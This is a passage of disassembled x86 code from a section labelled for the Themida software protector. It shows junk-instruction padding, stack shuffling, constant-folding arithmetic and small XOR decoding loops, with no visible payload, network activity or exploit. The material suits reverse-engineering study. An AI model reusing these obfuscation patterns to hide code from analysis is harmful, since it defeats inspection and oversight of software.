; ---------------------------------------------------------------------------


loc_56ADD7:				; CODE XREF: sub_56207C+32EEj
		push	[esp+40h+var_40]
		pop	eax
		push	edx
		jmp	loc_568C1D
; ---------------------------------------------------------------------------


loc_56ADE1:				; CODE XREF: sub_56207C+3C6Fj
		sub	esp, 4
		mov	[esp+16h+var_18+2], edx
		jmp	loc_56C66C
; ---------------------------------------------------------------------------


loc_56ADEF:				; CODE XREF: sub_56207C+6F98j
		mov	eax, [esp+20h+var_20]
		push	ecx
		mov	ecx, esp
		jmp	loc_567252
; ---------------------------------------------------------------------------


loc_56ADFA:				; CODE XREF: sub_56207C+5A1Cj
		mov	[esp+3Eh+var_40+2], ecx
		mov	ecx, 35E65894h
		push	esi
		mov	esi, 42840B23h
		jmp	loc_56D705
; ---------------------------------------------------------------------------


loc_56AE0D:				; CODE XREF: sub_56207C-262Fj
		xor	ecx, 10E4337Bh
		sub	esi, ecx
		jmp	loc_561174
; ---------------------------------------------------------------------------


loc_56AE1A:				; CODE XREF: sub_56207C+9B1j
		add	esp, 4
		add	ebx, edx
		jmp	loc_570727
; ---------------------------------------------------------------------------


loc_56AE27:				; CODE XREF: sub_56207C+B4CAj
		push	edi
		push	5AE7h
		mov	[esp+2+var_4+2], ecx
		mov	ecx, 57EC315Bh
		mov	edi, ecx
		pop	ecx
		shl	edi, 4
		sub	esp, 4
		mov	[esp+2+var_4+2], edi
		not	[esp+2+var_4+2]
		jmp	loc_56EB51
; ---------------------------------------------------------------------------


loc_56AE4C:				; CODE XREF: sub_56207C+5A6Cj
		sub	ebx, eax
		pop	eax
		jmp	loc_55FA93
; ---------------------------------------------------------------------------


loc_56AE54:				; CODE XREF: sub_56207C+B327j
		sub	edi, 3E7A2FF9h
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+2Ch+var_2C]
		pop	esp
		mov	[esp+28h+var_28], esi
		push	ebx
		mov	ebx, 0EA773DCh
		add	ebx, 10C804FEh
		mov	esi, ebx
		pop	ebx
		sub	esi, 60F31E05h
		add	esi, 15CA726Dh
		shr	esi, 7
		add	esi, 54D27BBEh
		push	4315h
		mov	[esp+2Ch+var_2C], edx
		mov	edx, 3541431Dh
		shr	edx, 4
		shr	edx, 2
		sub	edx, 644A2749h
		add	edx, 29068C9h
		inc	edx
		jmp	loc_562129
; ---------------------------------------------------------------------------


loc_56AEB6:				; CODE XREF: sub_56207C-25FAj
		add	esp, 4
		push	ecx
		push	eax
		mov	eax, 57DE3700h
		add	eax, 59384342h
		sub	eax, 10F17877h
		xor	eax, 0A02501CFh
		jmp	loc_56B155
; ---------------------------------------------------------------------------


loc_56AED7:				; CODE XREF: sub_56207C-37F8j
		push	esi
		push	[esp+10h+var_C]
		pop	esi
		jmp	loc_56B175
; ---------------------------------------------------------------------------


loc_56AEE2:				; CODE XREF: sub_56207C+801Fj
		xchg	esi, [esp+1Ch+var_1C]
		pop	esp
		mov	[esp+18h+var_18], edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		add	edi, 4
		sub	esp, 4
		jmp	loc_564DDD
; ---------------------------------------------------------------------------


loc_56AEFC:				; DATA XREF: Themida_:0055E294o
		lodsb
		xor	al, bl
		push	6DFBh
		mov	[esp+1Ch+var_1C], ecx
		sub	esp, 4
		mov	[esp+20h+var_20], ebx
		mov	bl, 2Dh
		push	ebx
		xchg	ah, byte ptr [esp+24h+var_24]
		not	ah
		xchg	ah, byte ptr [esp+24h+var_24]
		mov	ebx, [esp+24h+var_24]
		add	esp, 4
		push	7B15h
		jmp	loc_55FE37
; ---------------------------------------------------------------------------


loc_56AF2B:				; CODE XREF: sub_56207C-595j
		pop	ecx
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xchg	edi, [esp+1Eh+var_20+2]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		push	507Dh
		mov	[esp+22h+var_24+2], ecx
		jmp	loc_56A08B
; ---------------------------------------------------------------------------


loc_56AF4C:				; CODE XREF: sub_56207C-E72j
		add	ch, bh
		pop	ebx
		jmp	loc_562294
; ---------------------------------------------------------------------------


loc_56AF54:				; CODE XREF: sub_56207C+3D98j
		sub	esp, 4
		mov	[esp+32h+var_34+2], ecx
		push	eax
		mov	ah, 7Ch
		push	edx
		mov	dl, 0E3h
		sub	ah, dl
		pop	edx
		xor	ah, 0A3h
		jmp	loc_5626CF
; ---------------------------------------------------------------------------


loc_56AF6B:				; CODE XREF: sub_56207C-1050j
		dec	edi
		shl	edi, 4
		neg	edi
		jmp	loc_56452B
; ---------------------------------------------------------------------------


loc_56AF76:				; CODE XREF: sub_56207C+1D89j
		sub	eax, ebp
		jmp	loc_561F7A
; ---------------------------------------------------------------------------


loc_56AF7D:				; DATA XREF: Themida_:0055E1D4o
		mov	cx, word ptr [esp+4Ah+var_4C+2]
		sub	esp, 4
		jmp	loc_564BD8
; ---------------------------------------------------------------------------


loc_56AF8C:				; DATA XREF: Themida_:0055E35Co
		push	1A9Dh
		mov	[esp+52h+var_54+2], eax
		jmp	loc_568B2D
; ---------------------------------------------------------------------------


loc_56AF99:				; CODE XREF: sub_56207C+81EBj
		add	esp, 4
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], ecx
		mov	ecx, 0FF301520h
		add	edi, ecx
		pop	ecx
		and	eax, edi
		push	[esp+0Ah+var_C+2]
		mov	edi, [esp+0Eh+var_10+2]
		jmp	loc_565DB8
; ---------------------------------------------------------------------------


loc_56AFBA:				; CODE XREF: sub_56207C+6858j
		push	edx
		jmp	loc_57203D
; ---------------------------------------------------------------------------


loc_56AFC0:				; CODE XREF: sub_56207C-2C22j
		pop	ebx
		jmp	loc_56F758
; ---------------------------------------------------------------------------


loc_56AFC6:				; CODE XREF: sub_56207C+FDE9j
		sub	edi, 4FF148F7h
		sub	edi, 0FE3BC4h
		add	edi, 47BA3846h
		mov	ebx, [esp+12h+var_14+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_56E918
; ---------------------------------------------------------------------------


loc_56AFEF:				; CODE XREF: sub_56207C-324j
		add	ebp, 2
		xor	ebp, [esp+0Ch+var_C]
		jmp	loc_567DE1
; ---------------------------------------------------------------------------


loc_56AFFA:				; CODE XREF: sub_56207C+9901j
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_562E6B
; ---------------------------------------------------------------------------


loc_56B008:				; CODE XREF: sub_56207C+FF09j
		pop	esi
		jmp	loc_567A7B
; ---------------------------------------------------------------------------


loc_56B00E:				; CODE XREF: sub_56207C+AECj
		add	esp, 4
		push	esi
		mov	esi, 3DDB31F0h
		jmp	loc_568BBA
; ---------------------------------------------------------------------------


loc_56B01F:				; CODE XREF: sub_56207C+4940j
		pop	ecx
		push	4A13h
		mov	[esp+36h+var_38+2], ebx
		push	esi
		jmp	loc_56FBE6
; ---------------------------------------------------------------------------


loc_56B02E:				; CODE XREF: sub_56207C+562Cj
		add	[esp+34h+var_34], 4
		pop	eax
		jmp	loc_5695E6
; ---------------------------------------------------------------------------


loc_56B038:				; CODE XREF: sub_56207C+C878j
		pop	edx
		jmp	loc_573118
; ---------------------------------------------------------------------------


loc_56B03E:				; CODE XREF: sub_56207C+6699j
		sub	esp, 4
		mov	[esp+3Ah+var_3C+2], ebx
		push	[esp+3Ah+var_3C+2]
		jmp	loc_560A2D
; ---------------------------------------------------------------------------


loc_56B04F:				; DATA XREF: Themida_:0055E248o
		push	[esp+3Eh+var_40+2]
		mov	ecx, [esp+42h+var_44+2]
		push	ebp
		push	esp
		jmp	loc_56071B
; ---------------------------------------------------------------------------


loc_56B05C:				; CODE XREF: sub_56207C+BF8Bj
		push	67F8h
		mov	[esp+4Eh+var_50+2], ebp
		mov	ebp, 6EA76E0Dh
		sub	esp, 4
		mov	[esp+52h+var_54+2], ecx
		jmp	loc_56DF58
; ---------------------------------------------------------------------------


loc_56B074:				; CODE XREF: sub_56207C+7613j
		mov	edi, eax
		pop	eax
		add	edx, edi
		pop	edi
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		jmp	loc_566CFD
; ---------------------------------------------------------------------------


loc_56B087:				; CODE XREF: sub_56207C-2A20j
		mov	eax, [esp+28h+var_28]
		add	esp, 4
		add	ebp, 23FB28ADh
		jmp	loc_562E84
; ---------------------------------------------------------------------------


loc_56B098:				; CODE XREF: sub_56207C+25A9j
		neg	edx
		xor	edx, 276C219Fh
		push	eax
		jmp	loc_56905B
; ---------------------------------------------------------------------------


loc_56B0A6:				; DATA XREF: Themida_:0055E104o
		push	[esp+22h+var_24+2]
		mov	ecx, [esp+26h+var_28+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+2Ah+var_2C+2]
		pop	esp
		push	esi
		jmp	loc_56BDD5
; ---------------------------------------------------------------------------


loc_56B0C2:				; CODE XREF: sub_56207C+EECCj
		pop	[esp+2Ah+var_2C+2]
		mov	esp, [esp+26h+var_28+2]
		jmp	loc_55FAEF
; ---------------------------------------------------------------------------


loc_56B0CD:				; CODE XREF: sub_55EEEC+1Aj
		mov	esi, 531B5F06h
		add	eax, 2D928DCh
		sub	eax, esi
		sub	eax, 2D928DCh
		pop	esi
		mov	ebp, [esp+22h+var_24+2]
		add	esp, 4
		sub	eax, ebx
		jmp	loc_568E68
; ---------------------------------------------------------------------------


loc_56B0EF:				; CODE XREF: sub_56207C+4DBCj
		mov	word ptr [esp-0Ch+arg_8], cx
		mov	ch, 1Ah
		neg	ch
		or	ch, 0ABh
		shr	ch, 7
		xor	ch, 0E3h
		push	ebx
		push	edx
		mov	dl, ch
		mov	bl, dl
		pop	edx
		jmp	loc_561143
; ---------------------------------------------------------------------------


loc_56B10C:				; CODE XREF: sub_56207C+100DEj
		pop	ebx
		inc	eax
		shr	eax, 3
		push	edx
		push	ebp
		mov	ebp, 79512CF9h
		push	ecx
		mov	ecx, ebp
		mov	edx, ecx
		pop	ecx
		pop	ebp
		xor	edx, 4314402Fh
		not	edx
		push	ecx
		mov	ecx, 4AAD0EA0h
		push	esi
		mov	esi, 716518F4h
		shr	esi, 8
		jmp	loc_567BC4
; ---------------------------------------------------------------------------


loc_56B13B:				; CODE XREF: sub_56207C-17FBj
		add	[esp+34h+var_2C], ebp
		pop	ebp
		jmp	loc_56BC81
; ---------------------------------------------------------------------------


loc_56B145:				; CODE XREF: sub_56207C+BB08j
		mov	esi, [esp+30h+var_30]
		jmp	loc_56EEC1
; ---------------------------------------------------------------------------


loc_56B14D:				; CODE XREF: sub_56207C+FA64j
		mov	[esp+30h+var_30], esi
		jmp	loc_567593
; ---------------------------------------------------------------------------


loc_56B155:				; CODE XREF: sub_56207C+8E56j
		push	eax
		push	ecx
		mov	ecx, 1E5E40FBh
		sub	[esp+1Ah+var_18+2], ecx
		jmp	loc_56E175
; ---------------------------------------------------------------------------


loc_56B165:				; CODE XREF: sub_56207C-B33j
		add	esp, 4
		push	edx
		mov	edx, 4
		sub	ebp, edx
		jmp	loc_56D92F
; ---------------------------------------------------------------------------


loc_56B175:				; CODE XREF: sub_56207C+8E61j
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		mov	word ptr [esp+0Ch+var_C], ax
		jmp	loc_56AD45
; ---------------------------------------------------------------------------


loc_56B184:				; CODE XREF: sub_56207C+4C30j
		xchg	edx, [esp+22h+var_24+2]
		pop	esp
		add	al, 6Fh
		add	al, cl
		jmp	loc_56F9E9
; ---------------------------------------------------------------------------


loc_56B191:				; CODE XREF: sub_56207C+458Aj
		push	esi
		mov	esi, 61D0591Dh
		or	ecx, esi
		pop	esi
		add	ecx, 962EA4C7h
		jmp	loc_55F966
; ---------------------------------------------------------------------------


loc_56B1A5:				; CODE XREF: sub_56207C-172Dj
		mov	eax, 4
		add	ebx, eax
		jmp	loc_5707E1
; ---------------------------------------------------------------------------


loc_56B1B1:				; CODE XREF: sub_56207C+6A60j
		pop	edx
		std
		push	0D9Dh
		mov	[esp+0Eh+var_10+2], ebp
		jmp	loc_572316
; ---------------------------------------------------------------------------


loc_56B1C0:				; CODE XREF: sub_56207C+106C6j
		add	edx, 4
		push	ecx
		mov	ecx, 5E3C772Dh
		dec	ecx
		push	0
		sub	[esp+16h+var_18+2], ecx
		pop	ecx
		sub	ecx, 0A1C388D0h
		add	edx, ecx
		jmp	loc_56CFDF
; ---------------------------------------------------------------------------


loc_56B1E3:				; CODE XREF: sub_5613BA+9j
		push	ecx
		mov	ecx, 687C628Bh
		mov	ebx, ecx
		jmp	loc_56BA48
; ---------------------------------------------------------------------------


loc_56B1F0:				; CODE XREF: sub_56207C-36D1j
		xor	edi, 41262368h
		xor	edi, 3E9B5893h
		mov	ebp, edi
		pop	edi
		jmp	loc_56495D
; ---------------------------------------------------------------------------


loc_56B204:				; CODE XREF: sub_56207C+239j
		and	byte ptr [esp+24h+var_24], al
		pushf
		jmp	loc_56EF4B
; ---------------------------------------------------------------------------


loc_56B20D:				; CODE XREF: sub_56207C+CC80j
		sub	esp, 4
		jmp	loc_57109E
; ---------------------------------------------------------------------------


loc_56B215:				; CODE XREF: sub_56207C-20F9j
		pop	ebx
		push	edx
		jmp	loc_55EDE9
; ---------------------------------------------------------------------------


loc_56B21C:				; CODE XREF: sub_56207C+EA87j
		mov	ebx, 2
		add	edx, ebx
		push	[esp+38h+var_38]
		jmp	loc_56AAB1
; ---------------------------------------------------------------------------


loc_56B22B:				; CODE XREF: sub_56207C+33D0j
		add	esp, 4
		add	esi, eax
		push	esi
		jmp	loc_56F43C
; ---------------------------------------------------------------------------


loc_56B236:				; CODE XREF: sub_56207C+C931j
		add	esp, 4
		push	ebp
		mov	ebp, 6A033F08h
		shr	ebp, 1
		xor	ebp, 26549FFBh
		sub	edi, ebp
		pop	ebp
		pop	eax
		add	ebx, 6D031649h
		add	ebx, edi
		sub	ebx, 6D031649h
		jmp	loc_56142D
; ---------------------------------------------------------------------------


loc_56B261:				; CODE XREF: sub_56207C+DB81j
		push	ebp
		mov	ebp, 7475727h
		xor	eax, ebp
		pop	ebp
		pop	ebx
		jmp	loc_569F71
; ---------------------------------------------------------------------------


loc_56B270:				; DATA XREF: Themida_:0055E114o
		lodsd
		xor	eax, ebx
		jmp	loc_55EA7A
; ---------------------------------------------------------------------------


loc_56B278:				; CODE XREF: sub_56207C+D0DCj
		mov	ecx, edx
		jmp	loc_5676B5
; ---------------------------------------------------------------------------


loc_56B27F:				; CODE XREF: sub_56207C+FD70j
		push	ebx
		jmp	loc_569809
; ---------------------------------------------------------------------------


loc_56B285:				; CODE XREF: sub_56207C+49B5j
		add	ebp, 134C5585h
		mov	esi, [esp+3Ch+var_3C]
		add	esp, 4
		sub	esp, 4
		mov	[esp+3Ch+var_3C], edx
		push	782D1652h
		pop	edx
		jmp	loc_56D5BC
; ---------------------------------------------------------------------------


loc_56B2A2:				; CODE XREF: sub_56207C+10E0Aj
		pop	[esp+3Ch+var_3C]
		add	[esp+38h+var_38], 4
		jmp	loc_5730F1
; ---------------------------------------------------------------------------


loc_56B2B1:				; CODE XREF: sub_56207C+1955j
		sub	edi, edx
		pop	edx
		or	edi, 57B55EC1h
		sub	edi, 0F7BFDEC5h
		add	ebp, edi
		mov	edi, [esp+3Ch+var_3C]
		push	eax
		mov	eax, esp
		jmp	loc_569856
; ---------------------------------------------------------------------------


loc_56B2CD:				; CODE XREF: sub_56207C+65B1j
		xchg	edi, [esp+38h+var_38]
		jmp	loc_572E8B
; ---------------------------------------------------------------------------


loc_56B2D5:				; CODE XREF: sub_56207C-24EEj
		xor	esi, [esp-4+arg_0]
		jmp	loc_55F094
; ---------------------------------------------------------------------------


loc_56B2DD:				; CODE XREF: sub_56207C+AF12j
		pop	[esp-4+arg_0]
		jmp	loc_56AACD
; ---------------------------------------------------------------------------


loc_56B2E5:				; CODE XREF: sub_56207C+6662j
		inc	dh
		push	ax
		mov	ah, dh
		jmp	loc_5654D1
; ---------------------------------------------------------------------------


loc_56B2F0:				; CODE XREF: sub_56207C+4939j
		mov	ecx, 2
		mov	ebx, ecx
		jmp	loc_561D73
; ---------------------------------------------------------------------------


loc_56B2FC:				; CODE XREF: sub_56207C+5262j
		pop	esp
		push	7F30h
		mov	[esp+22h+var_24+2], ecx
		sub	esp, 4
		mov	[esp+26h+var_28+2], edx
		mov	edx, 7A08584Bh
		push	edx
		add	[esp+2Ah+var_2C+2], 34FF723Fh
		pop	ecx
		sub	ecx, 34FF723Fh
		mov	edx, [esp+26h+var_28+2]
		add	esp, 4
		push	0
		sub	[esp+26h+var_28+2], ecx
		pop	ecx
		jmp	loc_567045
; ---------------------------------------------------------------------------


loc_56B339:				; CODE XREF: sub_56207C+10C3Ej
		mov	ch, dl
		jmp	loc_56304D
; ---------------------------------------------------------------------------


loc_56B340:				; CODE XREF: sub_56207C+6B4Aj
		mov	[esp+50h+var_50], eax
		mov	eax, 351A1C66h
		or	esi, eax
		pop	eax
		push	ebx
		mov	ebx, esp
		jmp	loc_560040
; ---------------------------------------------------------------------------


loc_56B353:				; CODE XREF: sub_56207C+42DDj
		pop	ebx
		jmp	loc_55EB3D
; ---------------------------------------------------------------------------


loc_56B359:				; CODE XREF: sub_56207C+95EDj
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		add	esp, 4
		pop	eax
		push	edi
		jmp	loc_563A78
; ---------------------------------------------------------------------------


loc_56B37E:				; CODE XREF: sub_56207C+C5DBj
		add	eax, 4
		xchg	eax, [esp+8+var_8]
		jmp	loc_573325
; ---------------------------------------------------------------------------


loc_56B38B:				; CODE XREF: sub_56207C+EB29j
		mov	ebx, [esp+8+var_8]
		push	792Eh
		mov	[esp+0Ch+var_C], esi
		push	esp
		pop	esi
		push	ebx
		jmp	loc_561659
; ---------------------------------------------------------------------------


loc_56B39E:				; CODE XREF: Themida_:0055F07Dj
		add	eax, 7400F55h
		xor	eax, 5C595083h
		xor	eax, 8E975FDh
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		sub	esp, 4
		jmp	loc_566895
; ---------------------------------------------------------------------------


loc_56B3C1:				; CODE XREF: sub_56207C+66C6j
		mov	eax, [esp+10h+var_10]
		jmp	loc_56532D
; ---------------------------------------------------------------------------


loc_56B3C9:				; CODE XREF: sub_56207C+6BE9j
		push	edx
		mov	edx, 0C016C1Ch
		jmp	loc_560BC9
; ---------------------------------------------------------------------------


loc_56B3D4:				; CODE XREF: sub_56207C+2680j
		shr	eax, 2
		jmp	loc_56AB7C
; ---------------------------------------------------------------------------


loc_56B3DC:				; CODE XREF: sub_56207C+9BF0j
		pop	ebx
		jmp	loc_567EC8
; ---------------------------------------------------------------------------


loc_56B3E2:				; CODE XREF: sub_56207C+A59Fj
		mov	ebx, 3D7878D7h
		add	ebx, 0FFFFFFFFh
		shr	ebx, 4
		shr	ebx, 2
		neg	ebx
		jmp	loc_567E20
; ---------------------------------------------------------------------------


loc_56B3F7:				; CODE XREF: sub_56207C+8C1j
		add	eax, 3A9B3329h
		push	esi
		push	65845A85h
		jmp	loc_56CD4F
; ---------------------------------------------------------------------------


loc_56B407:				; CODE XREF: sub_56207C+691Cj
		pop	[esp+42h+var_44+2]
		mov	esp, [esp+3Eh+var_40+2]
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_561049
; ---------------------------------------------------------------------------


loc_56B417:				; CODE XREF: sub_56207C+D83Aj
		pop	esp
		pop	[esp+42h+var_44+2]
		mov	esp, [esp+3Eh+var_40+2]
		jmp	loc_56D5E6
; ---------------------------------------------------------------------------


loc_56B423:				; CODE XREF: sub_56207C+4683j
		mov	edi, 37FD7843h
		push	edi
		pop	edx
		pop	edi
		add	edx, 254428F5h
		not	edx
		push	eax
		mov	eax, 52C95F3Dh
		jmp	loc_56A92F
; ---------------------------------------------------------------------------


loc_56B43E:				; CODE XREF: sub_56207C+31B6j
		sub	esp, 4
		mov	[esp+8+var_8], esi
		push	1B177D73h
		jmp	loc_572FF6
; ---------------------------------------------------------------------------


loc_56B44E:				; CODE XREF: sub_56207C+543Ej
		add	esp, 4
		push	4641h
		mov	[esp+28h+var_28], ecx
		push	5316h
		mov	[esp+2Ch+var_2C], ebx
		mov	ebx, 45D351ECh
		mov	ecx, 7720658Fh
		sub	ecx, ebx
		mov	ebx, [esp+2Ch+var_2C]
		jmp	sub_561F57
; ---------------------------------------------------------------------------


loc_56B478:				; CODE XREF: sub_56207C+5DB0j
		pop	edi
		dec	edi
		neg	edi
		and	edi, 21633B0Bh
		add	edi, 58D63B03h
		mov	eax, edi
		pop	edi
		add	edi, eax
		pop	eax
		pop	esi
		mov	esi, [esp+0Eh+var_10+2]
		jmp	loc_568D6E
; ---------------------------------------------------------------------------


loc_56B497:				; CODE XREF: sub_56207C+28DCj
		add	edi, 6EAEE3ABh
		add	ebx, edi
		mov	edi, [esp+30h+var_30]
		add	esp, 4
		jmp	loc_564763
; ---------------------------------------------------------------------------


loc_56B4AD:				; CODE XREF: sub_56207C-20B5j
		push	ecx
		jmp	loc_5732DF
; ---------------------------------------------------------------------------


loc_56B4B3:				; CODE XREF: sub_56207C+7173j
		pop	ecx
		sub	ch, 0DEh
		add	ch, bh
		add	ch, 0DEh
		push	[esp+18h+var_18]
		pop	ebx
		add	esp, 4
		neg	ch
		push	edx
		push	eax
		mov	ah, 64h
		jmp	loc_56DEF7
; ---------------------------------------------------------------------------


loc_56B4D1:				; CODE XREF: sub_56207C+3BA2j
		push	[esp+1Ch+var_1C]
		pop	ebp
		add	esp, 4
		jmp	loc_56AC03
; ---------------------------------------------------------------------------


loc_56B4DD:				; CODE XREF: sub_56207C+155Fj
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56B4E2:				; CODE XREF: sub_56207C+C295j
		add	[esp+0Ah+var_4+2], 2E315FC4h
		pop	edi
		sub	[esp+6+var_4+2], ecx
		sub	[esp+6+var_4+2], 6B233051h
		mov	ecx, [esp+6+var_8+2]
		push	ebp
		push	esp
		mov	ebp, [esp+0Eh+var_10+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+12h+var_14+2]
		mov	esp, [esp+12h+var_14+2]
		sub	esp, 4
		mov	[esp+16h+var_18+2], edx
		mov	edx, (offset loc_575291+4)
		xor	edx, offset loc_575291
		add	ebp, edx
		pop	edx
		jmp	loc_55FD7A
; ---------------------------------------------------------------------------


loc_56B530:				; CODE XREF: sub_56207C+4CBDj
		pop	esi
		push	ecx
		jmp	loc_56F4BE
; ---------------------------------------------------------------------------


loc_56B537:				; CODE XREF: sub_56207C+9CCj
		add	bx, 3F62h
		sub	bx, dx
		sub	bx, 3F62h
		pop	edx
		add	bx, 4109h
		push	edx
		jmp	loc_56E5F2
; ---------------------------------------------------------------------------


loc_56B550:				; CODE XREF: sub_56207C+147Cj
		sub	esp, 4
		mov	[esp+2Ch+var_2C], ecx
		mov	ecx, 39E03FA6h
		xchg	ebp, ecx
		jmp	loc_56A390
; ---------------------------------------------------------------------------


loc_56B565:				; CODE XREF: sub_56207C+100A6j
		mov	ebp, edx
		mov	edx, [esp+2Ch+var_2C]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_568389
; ---------------------------------------------------------------------------


loc_56B578:				; CODE XREF: sub_56207C+C061j
		xchg	eax, ecx
		push	eax
		push	[esp+34h+var_30]
		pop	eax
		pop	[esp+34h+var_34]
		jmp	loc_5706C6
; ---------------------------------------------------------------------------


loc_56B587:				; CODE XREF: sub_56207C+E123j
		xor	cl, 0CCh
		or	cl, 0E7h
		shl	cl, 3
		push	dx
		mov	dh, 8Fh
		xor	cl, dh
		pop	dx
		mov	bl, cl
		mov	ecx, [esp+30h+var_30]
		jmp	loc_571E89
; ---------------------------------------------------------------------------


loc_56B5A2:				; CODE XREF: sub_56207C-D04j
		mov	eax, esp
		push	ecx
		sub	esp, 4
		mov	[esp+20h+var_20], edi
		mov	edi, 74C537E5h
		neg	edi
		and	edi, 2A2C4234h
		not	edi
		push	ebp
		jmp	loc_571D80
; ---------------------------------------------------------------------------


loc_56B5C3:				; CODE XREF: sub_56207C+177Cj
		mov	edi, [esp+12h+var_14+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+12h+var_14+2], esi
		jmp	loc_564471
; ---------------------------------------------------------------------------


loc_56B5D7:				; CODE XREF: sub_56207C+B8B7j
		pop	esp
		jmp	loc_5714B6
; ---------------------------------------------------------------------------


loc_56B5DD:				; CODE XREF: sub_56207C-331Cj
		shr	bl, 7
		inc	bl
		add	bl, 41h
		mov	al, bl
		pop	ebx
		mov	bl, al
		pop	eax
		jmp	loc_5625BF
; ---------------------------------------------------------------------------


loc_56B5F0:				; CODE XREF: sub_56207C+D345j
		pop	si
		sub	word ptr [esp+10h+var_C], 205Eh
		add	word ptr [esp+10h+var_C], si
		add	word ptr [esp+10h+var_C], 205Eh
		pop	si
		pop	di
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56B60E:				; CODE XREF: sub_56207C-A77j
		sub	cl, 9Bh
		jmp	loc_5681EE
; ---------------------------------------------------------------------------


loc_56B616:				; CODE XREF: sub_56207C+840Aj
		add	[esp+28h+var_24], edi
		pop	edi
		pop	ebp
		sub	esp, 4
		mov	[esp+24h+var_24], ecx
		jmp	loc_56C846
; ---------------------------------------------------------------------------


loc_56B62A:				; CODE XREF: sub_56207C-3471j
		add	ebp, eax
		jmp	loc_56B8C2
; ---------------------------------------------------------------------------


loc_56B631:				; CODE XREF: sub_56207C+5CE0j
		mov	al, 22h
		push	ecx
		jmp	loc_56FBDF
; ---------------------------------------------------------------------------


loc_56B639:				; CODE XREF: Themida_:0055E6C6j
		push	edi
		mov	edi, esp
		push	esi
		push	ebx
		push	edx
		push	ecx
		mov	ecx, 798044B9h
		mov	edx, ecx
		jmp	loc_56DF2F
; ---------------------------------------------------------------------------


loc_56B64C:				; CODE XREF: sub_56207C+F324j
		mov	ebp, [esp+24h+var_24]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+28h+var_28]
		jmp	loc_55ED8F
; ---------------------------------------------------------------------------


loc_56B663:				; CODE XREF: sub_56207C+C07Bj
		push	[esp+28h+var_28]
		mov	ecx, [esp+2Ch+var_2C]
		jmp	loc_56B359
; ---------------------------------------------------------------------------


loc_56B66E:				; CODE XREF: sub_56207C+A666j
		mov	esp, [esp+2Ch+var_2C]
		movsx	ecx, ax
		push	650Dh
		mov	[esp+30h+var_30], ecx
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56B681:				; CODE XREF: sub_56207C+308Aj
		add	ebx, 4
		push	0B12h
		jmp	loc_55F4F3
; ---------------------------------------------------------------------------


loc_56B691:				; CODE XREF: sub_56207C+F10j
		mov	ebx, 48B46F9Fh
		xor	ebx, 45EF5C6Dh
		and	ebx, 525A24B7h
		xor	ebx, 0D2971C0h
		or	ebx, 3B8D3689h
		sub	ebx, 3FFF77F7h
		add	edx, ebx
		pop	ebx
		xor	edx, [esp+14h+var_14]
		xor	[esp+14h+var_14], edx
		jmp	loc_56AB98
; ---------------------------------------------------------------------------


loc_56B6C2:				; CODE XREF: sub_56207C+3794j
		add	al, dh
		add	al, 29h
		jmp	loc_56E52E
; ---------------------------------------------------------------------------


loc_56B6CB:				; CODE XREF: sub_56207C+8CC4j
		xchg	ebx, [esp+22h+var_24+2]
		pop	esp
		jmp	loc_572116
; ---------------------------------------------------------------------------


loc_56B6D4:				; CODE XREF: sub_56207C-7ABj
		pop	[esp+20h+var_20]
		pop	esp
		mov	[esp+18h+var_18], ebp
		push	53D2h
		mov	[esp+1Ch+var_1C], esp
		add	[esp+1Ch+var_1C], 4
		jmp	loc_569B5F
; ---------------------------------------------------------------------------


loc_56B6EF:				; CODE XREF: sub_56207C+5BA4j
		mov	ebp, 197E0F0Ch
		sub	[esp+1Eh+var_1C+2], ebp
		mov	ebp, [esp+1Eh+var_20+2]
		add	esp, 4
		mov	eax, [esp+1Ah+var_1C+2]
		add	esp, 4
		push	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	451Ch
		jmp	loc_567E58
; ---------------------------------------------------------------------------


loc_56B71B:				; CODE XREF: sub_56207C+1EC2j
		pop	esi
		jmp	loc_573623
; ---------------------------------------------------------------------------


loc_56B721:				; CODE XREF: sub_56207C+34D9j
		xor	ebx, [esp+28h+var_28]
		pop	esp
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		jmp	loc_5621AB
; ---------------------------------------------------------------------------


loc_56B730:				; CODE XREF: sub_56207C+8228j
		and	edi, ecx
		pop	ecx
		push	ebp
		mov	ebp, 76021371h
		sub	ebp, 67967647h
		jmp	loc_56EA47
; ---------------------------------------------------------------------------


loc_56B744:				; CODE XREF: sub_56207C+11DDj
		pop	ebx
		jmp	loc_570B51
; ---------------------------------------------------------------------------


loc_56B74A:				; CODE XREF: sub_56207C+10C8j
		sub	esp, 4
		mov	[esp+6Ch+var_6C], edx
		push	[esp+6Ch+var_68]
		pop	edx
		jmp	loc_5722A7
; ---------------------------------------------------------------------------


loc_56B75D:				; CODE XREF: sub_56207C+B151j
		and	esi, 69424252h
		push	ebx
		mov	ebx, 21261050h
		xor	ebx, 569D59B1h
		add	ebx, 1B6E2200h
		jmp	loc_571141
; ---------------------------------------------------------------------------


loc_56B77A:				; CODE XREF: sub_56207C-19C9j
		pop	ebx
		add	edi, ebp
		sub	edi, 3D066436h
		mov	ebp, [esp+16h+var_18+2]
		add	esp, 4
		push	edx
		push	ebx
		mov	ebx, 450568D4h
